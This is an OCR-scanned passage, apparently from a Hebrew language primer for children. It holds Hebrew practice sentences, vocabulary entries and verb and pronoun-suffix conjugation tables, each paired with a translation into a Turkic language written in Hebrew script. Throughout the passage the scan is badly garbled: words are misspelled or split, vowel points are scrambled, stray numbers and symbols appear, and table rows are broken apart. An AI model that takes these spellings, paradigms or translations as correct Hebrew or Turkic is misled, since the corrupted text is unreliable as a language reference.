מָחִי תְסַפַרוּ קנ את אָשֶר למַרְתֶּם היום !
קדשו את בת יְהוָה אֶלְהִיכֶם .
למרו אֶת בַּנִיכֶם רִבְרִי חִכְמָה וּמוּסָר .
בְּנְדִינוּ לא כְבְּסוּ עור .
מ ִכְְסוַּנְִיכֶס הצום הָאלֶה +
חסרי מַלְכָּנוּ הַחְכֶָם וְהגְבור לא יספרוּ
ער עוּלֶם .
בי ! אִם תּכְבְרו את מַלפְרִיכֶם מְכְבְּרוּ
גִם אִתָם .
בַּתִּי ! אִם תְּכְבּרִי אֶת הְאָנָשים הַמְלַמָרִים
אותֶךּ חִכְמַה ומוּסָר כ כְבְרִי גם אח.
בְּשֶר הָעגלבָּשַל בכלי נחשת .
לא אְכַלְִי מִבְּשֶר הענֶל הַמְבְשֶל בְּכְלִי
הנְחשָת הֶמָרָש .
(חלק ראשון)
191
שרה ורבקה ! סוז כו פירלי רובאלריניוי
נא איצון יאייקאמריניו ?
ואר אולדוגומיורן בו גזנא קרר סיוא ילאן
סוולמריפ .
שיררתלי לוזגר בונון צולוג ג'ימלא רירכל-
ריני קוראר .
אנאם ! ביזא חצאן כוואב אטי פושיריר ?
בוגון אוגרנדיגיניזי זא חצאן נקל אורר
סיניו ?
רבּבי אללהוגיזין אָביני עזיז אוריניו. (עויו
רוטוניו) .
אוגוללריניזא עלם וא הרפ ארב סוולרי
אוגרטיניו .
רחי רובאלרימיז יאיוקאלמרי לר .
בו כירלי רובאלריניז חצאן יאייקאלג'ק
ריר +
סניג איילינין | מוארדא חפאיית אולונור
מו ?
עקללי וא ג'בבאר פּארשאהימיזיג אייליכּ-
לרי אברן נקל אולונאמז (נקל אולונוב
ביטמו, טופּנמז).
אנר מועללימלריניזי רגפתלר איסאגיו
סיו רא רגפתלניר סייו | (אגר
מועללימלריגיזא רגבת אידר איסניו
סיזא רא רזבת אולונור) .
קיזים ! אגר סנא עלם וא תרכ ארב
אונרטן כימסאלרי רנבּתלר אוטג סן
דא רגבּתלניר סין .
בוזאבי אָטי באקיר סאניטרא פישירולרי
(פישרי) .
באקיר | סאגישרא פישירילמיש
(פישמיש) בוואכ אטינדן יימדים .
,16
וני
10
< ש'
דּבּר , סוולדי , סוזלרי .
לש , אונרטדי ,
כ , יאייקאדי (צמאשיר).
6 הבית איטדי .
שבר , סינדירדי . קירדי ,
ל , בּיוכ איטרי, ביוטדי,
אוסטורדי,
וב , ילאן סוולדי .
בּשָל , פישירדי .
קרש , עזוז איטדי .
נָּל , ז"תָא א) , טוגן
דלגא , אובּא .
דניז .
אודא .
ה' אֶלְמִינוּעָשָה אֶת הים וְאֶת כָּל אָשָר
מד.
ה' אֶלְהָינוּ עשֶה אֶת הימִים וְאֶת כָּל-
אָשֶר ה .
אֶחִי לקח אֶת סל הַשַפּחָה מעל ראשָאּ .
אָנְשִים רְשָעִים שָבּרוּ את כָּר רבקה וגם
אֶת סלה לו מעל ראשה .
דורִי ! לָמָה לא למַרְּ אֶת ב חַכְמָה
וּמוּסֶר ?
שָרָה ! הַלְמְַּ אֶתָּנך חַכְמָה וּמוּסֶר ?
לוּם חַגָנוּ אָמִי בלה לטו בָּשר עָגל .
הפוּסים שבְּרוּ אֶת אופני הְעַנָלָה ,
לבִי שָמַח כִּי לְמַרְפִּי אֶת בָּנ דִּבָרי
אֶלהים .
לא ספַרתֶּם לְנוּ עור אֶת אֶשֶר עשָה
מַלְבָּוּ הנור בָּוּם הַמַלְחָמָה .
זי תא א סָפָט .
ום , סט ₪, ד (21 א')
הג , מַג , ' (31 א6
בייראם ,חג', הג.
עו , נ' (31 ב') , אצכי.
אופן , 3 א) זי יבר /
מַכָרְג'יּ .
רגל הילדים
מגן , " סא ב) קלקאן :
פַת , נ' (21 ב) טילים
(אמפ .)
עַת , ני א ב') וקת +
עו , ז'. סא ג') קוות.
לאם , ז' , (41 ג') מיָללת ,
מָע , ז וצ ג') קלעה .
על , ז' תא נ') בויונסא .
ק : פי קן, (31 ב) אוייא ,
קְבָר , ז' (עץ ב) מזאר.
רבּבי אללהימיו רניוי וא אנראכּי הר שוי
יאפרי (יראטרי) .
רבּכי אללהימיו רגיזלרי וא אנלרראפי הר
שיו יראטרי .
קררשים חלאויניג ספטינו אניג באשינינ
אוזרינהן אלחי . .
(ביר | קץ) יראמו כימסאלר רכקהיינ
צומליניני קירדילר וא | ספטיני דא
בא שי אוזרינדן קאפובּ אלדילר .
אקאם ! נא איצון אונלונא עלס וא תרכ
ארב אוגרטמרין .
שרה ! אנלונא עלם וא תרכ ארב
אוגרטרין מי ?
בייראמימיזיג גונונא אנאמיו ביזא בווא5
אָטי פשיררי .
אטלר אראבאייג טכרלריני קיררילר .
קלבים מִסְרוּר דיר כּי אוגלומא אללהינ
כלאמלרי. ני אונרטדים .
סיו ביזא ג'בּבאר פּארשאהימיזיג ג'נכ
גונונדא איטריגיני חכּאיית איטמדיניו-
|
לרגל הילרים 09|
כּבך. הִבְּתְלנָרִי. .
כּבָּך רגִבְתְלרִי
לנקבה
לזכר |
הלמח | כְה
ִּכָּרָ; בָברְתָ בָבַרְתָ
1
ט
ל<
הצר
|₪
,ו
נר
.\
לצ
ּבָד
כּבָרְתָ
רתי
ְּדוּ
ְִָּהָם
ְּברָנוּ|
רתי : רתי
ברו ַּבְדוּ בדו
בת ָּבַרְתֶּם | כַַּרְתָן
בדנו ַבְרָנוּ = | כַּבְּרְנוּ
יכְבַָר תִכְבָר
תִכַבָר תִ
אַכַבָּד
יכַבְּוּ
ְְבְּוּ
נְכַבָּד
תכבר
תכברי
אַכְבָּד
תַּבְּחנֶה
ִּבְבְֶּנָה
נְכְבָר
תבְבָּדי
ו
כָב = | תִבְְרְנָה
ִבְבְו = | תְִבְּרְנָה
נְבָבּד
בבר
בַּבְדוּ
כּבְרִי
רגה
95 \
333 וו \ווווורוייי
מְכַבָר מְבַבְרָה ונתי | מְבָבָר מִבְבָרָה בת
ְכַבְדִים | מְכַבְּדות = | כְכְבָדִים = | מְְבָּדות
מ
נפרר כַּבָ כב
נסמף. בַּבָּד ו
1
צר
1
118
לרגל הילדים
כל , נ'ומלא . בוט . לי , פנש בטנים; כַּלְך, כל ; כ ; בְּלָה; פַלּ,
ביוים 'ימלמיז , בָּלְכֶם , כלכן , יזיל ג'זמלניו: לס כּלן .
שמר ,
שַמָרָה ,
שְמַרְת ,
שַמָרְתי
שמֶר.
שַרְתּם
שְמָרְנו ,
שמְֶנִי , סאקלאדי בני: שמְרְך , שמרך , פאקלארי סני:< שמַחז , |
(שמְרְהוּ, שמרְהּ ; סאקלארי אני + שְמָרְנוּ, סאקלארי ביזי: שָמַרְכֶם, |
שמרְכן , סאקלארי סיזי + שִמָרֶם , שמרן , פאקלארי אנלרי .
שמרתני , סאקלאדי בני: שמרתְךּ שמרתך , 27 ני: שְמַרְתו
שָמְַתָהו , שמַרְתָהּ א אני : שמְָתְנוּ , סאקלארי. ביזי .
שמַרְתְכֶם, שְמַרַתְבן, סאקלארי סיזי: שמַרְתֶם 7 סאקלארי אנלרי.
שמַרַתנִי ; סאקלארי: בני: | שמרתו , שמרתהּ , פאקלארי אנ
שמרתְּנוּ , סאקלאריג ביוי: שַמַרְתם , שמרתן , סאקלאדיג אנלרי ,
שַמָרַתנִי, סוקלאדיג בני : שְמַרְתּו. שְמרְתהן), שמרְתָהָ, סאקלאדיג
אני : שְמַרְנוּ: (שָמַרְתָנו) , סאקלאריג ביזי: | שַמַרְתּם, שְמַרְתן ,
סאקלאדיג' אנלרי .
, שְמַרְתִּיךּ, שמַרְתיךָ , סוקלאדים סני : שַמַרְתָּיו , שְמַרְתיה , סאקלאדים
אני:. שְמַרְתִיכֶם , שְמַרְתִיכֶן סאקלארים סיוי + שָמַרְתִים , שמרפין ,
סאקלאדים אנלרי \
שמרוני | סאקלא דילר בנו שָמְרוּך , שמרוּך 0 סני : : שמְרוּהו,
שמְרוּהָ , סאקלאדילר אנִי + שַמרוְנן , סאקלארילר ביזי: שַמְרוכֶם ,
שמרוכן , סאקלאדילר סיזי + שָמָרוּם : שמרון | סאקלאדילר אנלרי .
, שמרתוני , סאקלאריניז בּני י: שמרתוהו , שמרְתּוה , סאקלאדיניו אני,
שמַרְתוָנוּ , סאקלאריגיז ביזי < שמַרְתוּם , שמרתון, סאקלארִיגיז אנלרי:
שמרתוני , סאקלאריג ג בָּי : שמרתוהו , שמרתוה , סאקלאָריניז אָני :
שמרתו נר, סאקלאריג ₪ + שמרתום | שמרתון | סאקלאדיליו אנלרי .
שמרנוף , שמְרְנוך, סאקלאריק סני: שַמַרְנוהו , שְמַרְנוּתָ , פאקלאריק
אני ; שמרנ וּכם , שמרנ וכָן , סאקלאריק סיזי < שמרנום , שמרנון .
סאקלאריק אנלרי .
לרגל הילדים 117
| א א) עא ב | גג ג
> ו 7
גפרר כך , צומלב . חֶץ, אוק . תף : דה
גסמ | 7 תָעָמָר + חַץ הַגְכור . תף בנ .
ג | שק הר
לנקבה לזכר
| לזכר לנקבה
לזכר | לנקבה
כ |3 |מצך |סצף תִפה תֶפַך
כו |בַּבָּה |חָצ |חְצֶה | תפו | | תִפָהּ
ו |כַּוּ |חָוּ |תצנו |תִפָנוּ | תפנו
כ || בַּדּבֶן = | חצְכֶם. | חִצֶכָן = | תפס תפ
בּּם. = | כָּהן. = |ְחַצַם | |חָצַ
66 ₪ ₪0 5
| פד |ַּדִי מע |סצי | |מְפי = | תְפִי
| [ |תּפָס | תְפ
ה ה ונשם רבוס | | שם רבים -'] .ישש | | שם המים "| | שם הפים | שם רבים
נפרר כָּדִּים חצים תָּפִּים
נסמך | | כִּדִי הָעָבָר . חְצִי הַנָבּר . תֶּפִי בָנִי .
לנקבה לזכר = | לנקבה
| לזבר
לזכ | לנקבה
די |כָּדּי | |תְצי | |תְצי | |תֶּפִי | | תָפִי
נצף |נך |הצך |הצך |תֶפהּ | תפ
כו |בַּבֶהָ || מצָו | תִשִהָ- | מְפיר | תְפִיִה
| ינ | כַּדנוּ | חִציָנוּ | חצינו | תפנ | תִפִָנו
66%\\
יכ | ככ | חצִיכֶס | חמצב | יכ | מְפִיכן
ּדיהֶם | כִּיקֶן | חַצִיהֶם | חציקן. | תִפִיהֶ | תְפִיהן
ב 0%
116 לרגל. הילדים
קלבלי צוגיוק. גורמדים . שהרימיזיג בורג'לרי אבטארילריגי גון אונוטולור
מ1 שהרימין אטשא יאנדי , בורגילרי איסא יירלרינדא דורוייר לר. שהרי3
ג'ומלא אדמלרי בוגון ג'נב גא קיליג' באגלי ציקדילר.. בו שהרל כישילרי
חאבסלר גיבי סייאח דיר, בו שהריג: כּישילרי האבס לר גיב סייאח
טרילי דיר . סיזיו קאיין אטאניז בו גון מסרור וא 2 א שן אידי , או ני אוצון כי
אוגלו ג'נכ דן גלדי .
6 1
בְּסַבִּין חד שָחִטְפִי אֶת הענל , בַּסְכין פיצאק אילן בוזאבי בונאזלרים .
בְּשָבֶט ברל הִכָּה הַנָשִיא אֶת עַבְדו . אגא קולוני דמיר טאיאק אילן דוגדי.
ב אדם בָּתַב בָּנִי אַת מַכְֶּכו , אוגלום מכתוביני קירמיזי מורכב אילן יאזדי,
הפַכִּין הֶַה חר וכו אֶשָחַט אֶת ה בו פיצאק כסכין דיר וא אניג אילן
בוזאבי בוגאזלר אים.
לְמִי הַשָבְט אֶשר ב1 הכה הַנְשִיא אֶת עבָדוּ , כימיג דיר או טאיאק כּי אניג
ּ אילן אגא קולוני דוגדי .
אַחר , אנדן סוגרא . סוגרא : אַחָרִי , פגרא .
אַחר ההרְּבְרִים האל לה , בו שיילר דן פסְלְלר ד[+ סוגרא .
אחרִי הַהֶרֶס החמָה , קלעה בּוזולרוק דן סוגרא .
אַחְרִי אֶשר נְהָפַּכָה הָעִיר , אגדן סוגרא כי שהר אכטארילדי , שהר
אכטארילריקדן סוגר א .
אַחַרִי אֶשָרנְהַרְגוּ הגבורים בּמַלַחמָה, גיבבאר לר ג'נכרא אולדורול
| | | דיכדן סוגרא .
לרגל הילרים 115
ולא למדת את אשר אמר מלמדף . למה יגרע כבוד חכמים מכבוד
עשירים + אחותי : העוד אישף בחדר+ איה אישך + העודנו בירושלים +
גבורי המלך יחלקו שלל אויביהם . הגבורים האלה נרדפים לפני אויביהם +
חסרי. מלכנו לעולם לא ישכחו . התזכר , בני, יום ההפף החומות. ?
העודף זוכר יום ההרס המגדלים+ העבד שוכב תחת העץ בגן. עורני
וושבת תחת זיתי ותחת גפני. בני ישראל עמדו תחת ההר. העיר נהרסה
והחומה עודנה עמדת תחתיה. בתי העיר יהרסו והחומות תעמדנה תחתיהן.
האלהים נתן לנו היום ששון תחת. אבל ושירים תחת בכי. אם המלכה
תהרג במלחמה בנה הגדול ימל תחתיה. בההרס החומה אחי נשאר
תחת אבניה ומת שם . חסר מלכי לא יוכל להשכח מלבי ,
סניג אנאג דחי הפ ירושלם דא אוטורוייר מי + או עקבה דחי סאג
מי דיר+ בּיזים דושמאנלרימיז דוסטלרא דוּנר דוסטלרימיז דושמאנלרא
דונמולר... בּבאמיג ג'ומלא דוסטלרי בגא , אניג אוגלונא, דושמאנלרא
דונדולר . סיזיג רוסטוגיז דחי סיזא דושמאנא דונמדי. סניג דושמאניר--
או דחי סניג אזבאריגדא דורוייר : סיזיג דושמאניניז--דחי או אָביגיודא
אולדוקדא. סיז. אני אולדורא בילמדיגיז . הושמאנלריגיזי -- אנלר דחי
סייג אביגינדא. איכן. אולדורמייאסיז . ג'נכ וקתינדא בו ביוכ שהרלר
בוראקילדי וא אנלרדא אוטורוג'י יוק דיר. ישראל שהרלרי ג'נכ וקתינדא
בוראקילדילר וא אנלר דא בו גונא קדר אוטורוג'י יוק אידי. ביז אנדא
אוטורדוגומיז שהר (שהך כִּי בּיז: אנדא אוטורור אידיכ . אוטוררדוק) ג'נכ
וקתינדא אכטארילרי וא כו גונא קדר אנדא אוטורוג'י יוק דיר.. בּו שהר
לר גיבי ביוב וא איי שהר לר בוראקיליר מי + שרה ורבקה ! פיז אונוטולור
מי סיגיז , סיז כקבה אקאלריגיזיג אייליכלריני אונוטור מי פיגיז? סא5
אולדוגוגיז דא סיז 2 אונוטולמאז סיגיז. אולולר קלב דן אונוטולויירלר .
בן דהי זנגין אולדוגומדא בנים דוסטלרים צוק דיר. מסר פאדשאהיניל
יירינא כּים פאדשאה אולור + אגר ירושלם פאדשאהי ג'נכּדא אולדורוליר
איסא אניג יירינא כּיציכ אוגלו פאדשאה אולור. ביוכ אוגלו אניג יירינא
פאדשאה אולא בילמז זירא או בּגאית כּפסיז דיר . ישראל אוולדלרי (בּני
ישְרְאֶל) ביר דחי דושמאנלריניג אוגונדא קוולמאזלר . ישראל שהלרי
ביר דחי בוזולמאזלר . אללהיג היכלי ביר דחי אכטארילמאז . אי
דושמאנלרים ! בגא חצאן דוסטלרא דונר סיגיז . אי דושמאנלרים !
בגא דוסטלרא דונָאסיז. בן דא סיזא דוסטא דונר אים * ואר אולדתומרן
בו גונאשקדר כּן בוטון גב אלטינדא סניג אוגלוג גיבּי טוגל יוללי וא פא
14 לרגל הילרים
תִלְמָדִי-אֶת אַשָר אֶמר לָךּ מְלַמְדְך אֶתְמַל + אָמִי מָעורָהּ וְעֶד יזם מותָהּ
שמרה ררכי יְהוָה הַטובִים . אשי הָעִיר הזאת חוקים וְּבוהִים כַּעָנָקִים ;
לא רָאִיתִי מַעוִי עד היום הזה גְבּורִי כ כְּמהֶם. אַגשי הַמַלְתָמָה ְחָלְק
לחלְקים . הָצִיָם רָדְפוּ אחָרִי האוב וְחצים לבדו אֶת הַמַנדּלִים וישרפוּ אֶתם
בְּאָש. נִשְבְחְנו ּמַת מב ." הַאִילים הַאְלָה שמני בשר. אָבִי מַת בּעַת
ַלְחָמָה ּום הַתָתֶם מ מנדלי עִירָנוּ . אַשֶרִי הָאָנֶשִים. אשָר בְּנִיהֶם תמִימי
ררך \ אשרִיכן, שרח ורבקה כִּי בְּנִיכן שרי דַרך ותִמִימִי לב .
קרדשים! סן פאב קלבלי דגיל סין . כני = אוגלוג פא קלבלי
וא דוגרו יוללידיר . אוגלום דא קרדשים דא טוגל יוללי אידילר. נא מוטלו
סגא ,:קיוקררשים , זורא. אוגוללריג דוגרו קלבלי דיר . נא מוטלו פנים
קיז קרדשימא ו זירא אניג אוגוללרי גיומרֶט קלבלי וא כגיש עקללי דיר .
נא מוטלו שרה גא : זירא אניג כיצי אוגלו בּגאית עקללי וא דורו יוללי
דיר.. שרה !סניג כיציכ אוגלוג אגיר אגיזלי וא אגיר דוללי דיר . קוללרים !
נא איצון סיז יירמיק רובאלי סיגיז פארשאה אלקהיג אוגונא = סיניק
קלבלי גלדי. שהר אכטארילריני ּון בוטון חלק אללהיג אָבינדא סיניק
קלבלי (סיניק קלב איל) דוושירילדילר . דושמאן שחרימיזי בוזדוגי גוני
ביז אללהיו ינ סיניק קלבלי וא יירטיק מ דוושירילדיכ . בּנים
0 גיבבאר וכלי לב : יורָכּ) וא ביוכ קוותלי דיר . אללהימיז גיבי
ק אייליפ ליוא יו קוותלייוק דיר . פאדשאהי: וכיללרי בונון איפכ
, / לר גיינמיש אירילר (לבוּשי מ מַעילִי משָי. ביזים 0
בוגון יי רובאלר גיינמיש אידילר . בו מסרלי סייאח צהראלי דיר .
בו ג'בבארלר קוותלי אללי דיר . סיזיג אוגוללריגיז ג'בּבאר יורכלי דיר .
בבּאם דחי סאג אולדוקדא בן ּגאית עקללי מועללימלרדן אללהיג יוללריני
וא עזיז סוזלריני אוגרנדים - מועללימים: סניג איי סוזלריגי ב ביר דחי
אונוממאם . סניג איי סוזלריג ביר דחי אונוטולמאז .
האיש הזה חכם, עשיר, נדיב ותמים דרך : אשרי בּניו אחריו !
אשרי:ארץ אשר מלכיה נדיבי לב . האלהים לא יגרע חלק יתום מחלק
עשיר. לפני האלהים לא יגרע עני מעשיר . חלקו שלל אויביכם, בני
5 לא וק עוד לחלקים . ששוננו נהפך קאבל ולינון כימת מלכנו.
אבלנו ויגוננו נהפכו לששון בי אויבינו נרדפולפנינו.. עד מתי נררף לפני
אויבינו . 5 פה וכבד לשון אנבי . אשרי האיש אשר בניו חכמי לב ,
בני! אם לא תלמד. את אשר אמר מלמרף אתמל תענש ענשגדול ,
בני! ענשף גדול מענש התלמיד הסכל; כי הכס לב אתה ונהפכת לעצל
לרגל הילדים
אָם אַמְרְג בְמְלְחְמָה בְּנ יִלְף פּמִפִּי .
אָם רַבִּים פָּשָעִינוּ אָלהִינוּ לא עזר לָנו
בְם מִלְָמָה וְנרְרֶף לָפָנִי אוַבינו.
הַיָהָפך כושי עורו ?
הַיהֶפַָּ ער הפושי +
ָאַנָשִים הָאלָה ירפ לְפָנִי אוִיהֶם
בָּיים מַלְחְמָה על אשר לא שמרו
דר ה" .
אַנְשִי הָעִיר הָוּאת מַעוּרֶם וער הַיום הוה
הַלְכוּ בַַּרְבִי פָשַע .
הֶרְשָעִים ששו עַל. שָשָר ְאָסוּ דרְכי
מוּסַר.
ד מלָכִים חָקּר הכר .
אשְרִיבֶסבָּנִי! כִּ מִלַמְדִיכֶם תַכָמִים מָאר ,
ְמָּה,עָרע חֶלַקנו מִחִלֶק בְּנִי הניא ז
לא עָרַע מַלְקַכֶם הָּבָר .
הָעִיר הזאת גְדוּלָה וְאָנְשֶיהָ עָשִירִים וְּבוּקַי לָב .
108
אגר. ג'נכּרא אולרורוליר איסֶם אוגלום
וורימא פארשאה אולור .
אגר נונאחלרימיו צוק איסא. אללהימיו
ביוא ג'נכּ נונונדא יאררים אירמו וא
דושמאנלרימיזיג אונונדא קווליריז .
חאבס טריסיני דנישטיריר מי (תבדיל
אירר מי) ?
חאבסינ טרוסי רגישיליר מי. (תכריל
אולורמי) ?
כו | כּישילר | דושמאנלרינינ אונונדא
קוולירלר אניג איצון כ רכינ יולוני
סאקלא מאדילר .
בּוּ שהרין ל ואר אולרוקלרינרן כּו
גונא קדר גונאח יוללרינדא, גזר אידילר.
יראמזלר ג'ורומלנירלר אניג איצון כּי טרפ
אדב. יוללריני כור איטרולר .
פארשאה לריג שאני אישי תפתיש אירמכ
(אראמק , אראשדירמק) דיר.
סאן סיזא אונוללרים !. זרא סיזינ. מועל-
לימלריניו בנאית עקללי ריר .
נא איצון ביזים פאיימיז אזאויג אונוללריניג
פאוינרן אסיכ אולאנ'ק +
סוזין פאייניורן חיץ ביר שיי אכסילמ .
שִיאִים הָאֶלָה
הי תמל שָמְחִים בי לב. . הָא נשִים המְתִים בּפַלְהָמָה לא נקְבָּרוּ ער.
ארי אָחי וָאשרי טבְרִי הָעוָּדִים לפנ . אשריך אַחותיוְאַשרי אנש
חָעַָּדִים לְפָנְיך . הצור תַמִפָעְלו.כִּיכָל דְבִיר מְִשָפָט . הַסְבְלִים ענ
שָבָל. הַיתוּמים הָאֶלָה עָנִי הון מַניי 1 . הַיְתוּמִים הָאָלָּה עורֶם עוְמָדִים
ַּחוּץ העור לכם גכ כ או ָהָב ז הַעוד לְכֶם אֶח או אחות ז בַּעוד הַנָשָיא בָעִיר
אַנְשי הָעִיר נִקְבְּצוּ אָלִיו בָּ. יום.אַנְשִי הָעִירנְקְבְצו אֶל הַנָשִיא בְּעודְנוּ ְּבִיתו.
בה וְשָרָה! לַמַרְנָה חַכְמָה וּמוּפֶר בעורְכן צעירות וּבְבִית אָבִי . עוני
ִּירוּשָלֶם. אֶחותיו העורֶ בְבִית מַלְמָרַך הטוב? אחותיי העורך שכבת וּמְתי
(חלק ראשון)
)16.(
1159
ַּנְכֶס רְחָב שָכָל ורב חִכְמָה .
אוְבִינוּ רבִים 3 השמים אֶשֶר און
ל הֶם מִספָ
אוּהָבִי ורָעי 06 - לי בַּוּם מותי .
האֶלהים יְחַפּף אִבְלְכֶם לששוןְולא ישָמע
עוד בְּבְִּיכֶם קול ַּכִי .
אָכְלְכָם הפ לְָשון וּכְכְיְקֶם לְשָירִים .
בד אָבִי חַי הָיָה לי לָחֶם לָאָכל וּבְגָד
לְלֶבּש .
יה אָמִי ? -- עוּרָנוּ בְּבִית מְלַמָדוּ .
אָחִי ! העורף שוכָב ? מָתִוּ 0 כְלְמַר
בבית מַלַמָ מָרְףּ (מלמרף)
---א. עו רנה
מִלְכַּח רָיָ
: ד
ה שַמַחָה על אֶשָר נָהַרְסו
גדל אבינ -
הַחוּמָה הַנְבוהָה ההיא נְהַפְכָה פָּחָאם .
תִלָמִידִי \ לדו חָכָמָה וּמוּסֶר בְּעַדְכֶם
צַעִירִים .
בִּימִי נח היה מבול על הָארֶץ, וְכָלַבַּשָר
אֶשֶר פּחַת כָּל הַשְָמִיִם מַת מְפָּני
הבול 2
מלפָנוּ רוד מת וימלך בָּנוּ חַחְתָּיו .
, ו
מַלְכִי. יְהוּרָה. ושָרְאָל נָפָלוּ בְּמַלְחָמָה
6 -7-6 4" ]בש ד ד
ויְמְלְכוּ בְּנִיהֶם הַחְפִּיהֶם ִמִמְפֶּם).
: ד
לרגל הילרים
סוזיג אימאמיניו . כּנוש
חכמהלי ריר .
דושמאנלרימיו אנלרא חסאב אולמייאן
נוי יילדיזלרי ניבּי צוק ריר .
סוְרְלרים וא דוסטלרים בּנא /אולומימי1
גונינדא יארדים אירמזלה .
אללה כוזי יאסיניזי סבינצא דונדורא וא
עקללי . וא צוק
אבלריניודא .ביר דחי אנלו 5 ספ
אשיטילמסון .
יאסיניז סבינצא וא אגלוביניו טורכּולרא
צוויריליר .
בּכּאם דחי סא אולרוקרא בנים = וימייא
נכמגים וא ניימייא רוכאם ואר אידי.
קררשים נררא ריר ? -- או רחי הפ
מועללימיניג אָבינרא דיר .
קררשום ! רחי סן הפ יאטייר מי סין ?
₪ מיניג אבינדא תעלים אידמפ
איצון חצאן גירג'כ סין ?
מליכה רחי הפ סונייר אניג אוצון. כּי
רושמאלרימיזין כורג'לרי בוזולרי..
או אוכסכ קלעה אפאנסיו אכטארילרי
תלמידלרים ! דחי סיז יאש אולרוגוניזרא
חכמה וא טַרְּ ארב
נח ניג גונלרינדא ייר אוזרינדא טופאן
אולרועוא גוג אלטינדא אולאן ג'ומלא
טן טופאן סבבינרן אולרי .
פארשאחימיו דור אולרי וא אנין ירינא
אונלו פאר שאה אולרו .
מליכּה ג'נכּ דא אולדורולרי וא אנינ יירינא
אונלו פארשאה אולחו .
וישראל פּאדשאהלרי ג'נכרא
רושדילר וא אנלריג וורינא אוגוללרי
פּארשאה אולדו .
אוגְרְאנָאסיו .
יהורה
חָלֶק, (חצ ה) ד , פאיי,
בולוכ .
חָרֶב , (יחיר ןז א') ני'
קיליג' .
עִנָש י (שץצ א') זי , ג'ורוּם '
אֶבָל , (חץ ה') ז, יאס,
מַאתֶם.
לרגל הילרים
דּבָר ; (צג) ד, סז,שי,
איש .
מַמּל, () ". מבול ,
טופאן .
חפן , (צ ב) זי. קאיין
אטא .
כּהן , (צ ג') '. כּחן ,
11
מת , (6 אולו , אילמיש ,
שמח , שְמַחָה,
מסרוּר +
רחום , מרחמתלי .
כּוש, (טופראק אָדי) הָאבָס
טופראגי ,
כּושי , הַאבְּסְלִי כוּשָלִי .
ש.
שָשן , (צו) ז', סבינֶץ.
רַחוּם אֶלְהִינוּ ודל חֶסָד (גְדֶל-חַסָר) .
דול יהוָה ורב כּחַ .
דוי יָצָא מַבִּיתוּ שָמַחַ וטוב לב .
אַשָרִי תְמִימִי רָרֶךְ +
ורי הַמלְך היו תָוּרִי חָרֶב .
אבִינוּ בהי לָב .
איבי קצר יָר .
אויבִיכֶם קצָרִי יָד .
הַיְתוּמִים הָאָלָה סָרוּעִי בְגדים .
הַפַלְמִיר הוה שבוּר לב .
הַמלְךָ הזֶה שפל רות מָאד .
הָעָשירִים הָאנָה שפְלִי רוח .
ַחְרוּ כ מ חפן משה שָמַע אֶת כל
אָשָרַעָשֶהאֶלְהִים לְמַשָה וּלְיַשְרְאל .
חסֶנֶף עָשִיר מַחותָנִי .
רב הון חתְנְכֶם וּלְכַסְפו אִין מְסְפֶּר .
כּתַני מדין. לְבושי מְעִילִי מָשִי וחנורו
אזר צִמַרהֶם .
אימאם.
על אֶשר , אניג איצון כי.
אללהימיז מרחמתלי וא ביוע אייליבּלי דיר .
רבכי ביו רור וא צוק קוותלי דיר .
אקאם אבינרן סווינצלי וא איי קלבלי (שן)
ציקדי .
טוגל יוללי לרא נא מוטלו .
פארשאהי ג'בּבארלרי קיליג' ראקינמיש
אירילר .
רושמאנלרימיו אוכספ קלבלי (פורול דיר).
רוש מאנים קיסא אַללי (טקאתסיו) דור .
רושמאנלריניו קיסא אללי דיר .
בו אוכסיולר יירטיק רובאלי דיר .
בּו חלמיר סיניק קלבלי ריר .
בו פארשאוה בּנאות אלצאק ג'נלִי (אלצאק
נוגוללי) ריר .
בו ונגינלר אלצאק נוגוללי. ריר .
מרין ניג אימאמי משה ני1 קאיין אטאסי
יתרו אללהיג משה נא וא ישראל א
זר איטריניני אשיטרי .
סניג קאיין אטאג בנים קאיין אטאם רן
זננין דיר .
סיזי קאיין אטאניו צוק מאללי דיר וא
אנינ אקצאסינא חסאב יוק דיר
מרוניג אומאמלרי, אנלר איפכ ג'ובא לר
גיינמיש וא יון קושאק באנלנמיש ריר
00 לרגל הילדים
עוד , ביר דחי . כחי ,עודי או עוְרָני, דחי בן ואראים , עודף . עוּרָך , דחי סן |
ואר סין > עורָנוּ , עוַדְנָה , דחי או ואר דיר . עוְדְנָוּ, דחי ביז ואר אוו.
עורְכם , עודבן , דחי סיז ואר, סיגיז. עוְדֶם , עודן , דחי אנלר ואר דיר .
תתַת, טיפ יאלט י- מחת הַשָמִים , גובו אלטינדא . תחת בְּוּ , אוגלומיג יירינא --
תַּתִקֶנִי או תַחָתִי , בּנים אלטימרא - בנים יירימא. א תַחְתֶיךָ , תחתיך ;
תחתו , תִחְתֶּיהָ יי תִחִתֶנָּה ; תַחִתנוּ אי מחתינוּ, תִחִתִיכֶם. מחתִיבן ,
תּחְתָם או תַּחְתִיהֶם , חן או תִחְתִיהֶן .
אשָרִי, נא מוטלו | סאן ! אַשרִי האיש ! נא מוטלו אול ישי גא 1 סאן אול כישי גא ! |
אשָרִי, נא מוטלו. בגא | סאן בגא | אשריף , אשֶריך , נא מוטלו סגא |
אשריו , אשריה; אשינו ו אִשרִיכֶם, אשריכְן ; אשְרִיהם , אשָריהן ,
דורי עדָנוּ חולֶה ,| אקאם דחי הפ כפסיז דיר .
אמ עוְדָנָה חולה , אנאם דחי הפ כפסיז. דיר .
עור חי, דחי סן דירי סין.
ִּלְמִירו עוּדֶם יושָבִים בַּבִּת , תלמידלרים דחי אָברא
אוטורוייר לר .
בַּעְרִי , דחי בּן-ואר אולדוגומרא .
ְּעורֶך, דחי סן ואר אולרוגוגרא .
בְּעְוּרְבֶם חיים, דחי סיז סא: אולדוגוגיזרא .
בְּעודַנו חו , = דחי או סאג אולרונינרא .
בְּעורִי או בְּעודָנִי עשר , ב דחי זנגין אולרוגומדא ,
מַעורִי וָער היום הוה | ואר אולדוגומרן בו גונא קדר .
מַעורֶך ער יים מוסף , ואר אולרוגיגרן אולג'כ גונוגא קדר . =
, איש, ז'. ([) כישי ארי אשי , אישף , = אָכְשים (1 א כישילר, אִנְשִיאָכְשִיוכ"
ב , 1 (ם א) אל. בָי, ב , | בָּנִים, (1₪) אתוללר .בו בי כ
ענש , ג'ירומלדי . חר , (יתגר) , בגלארי: = הָלַק , (יחַלק יְחִלְקי) פאיי
הֶרֶסם, (עת' יהרס או דאקדי . איטדי, בולדו, פאיי
והרס) בוזדו. רע , (וגרע,) אִכְסִיְטְרִי, ויררי , פאיי אלרי .
חֶפַךְ | מתפף או יְהפַּךִּ) אבְּסךּ איטדי. | כְּבור, (א) 1, פיי הנכת י
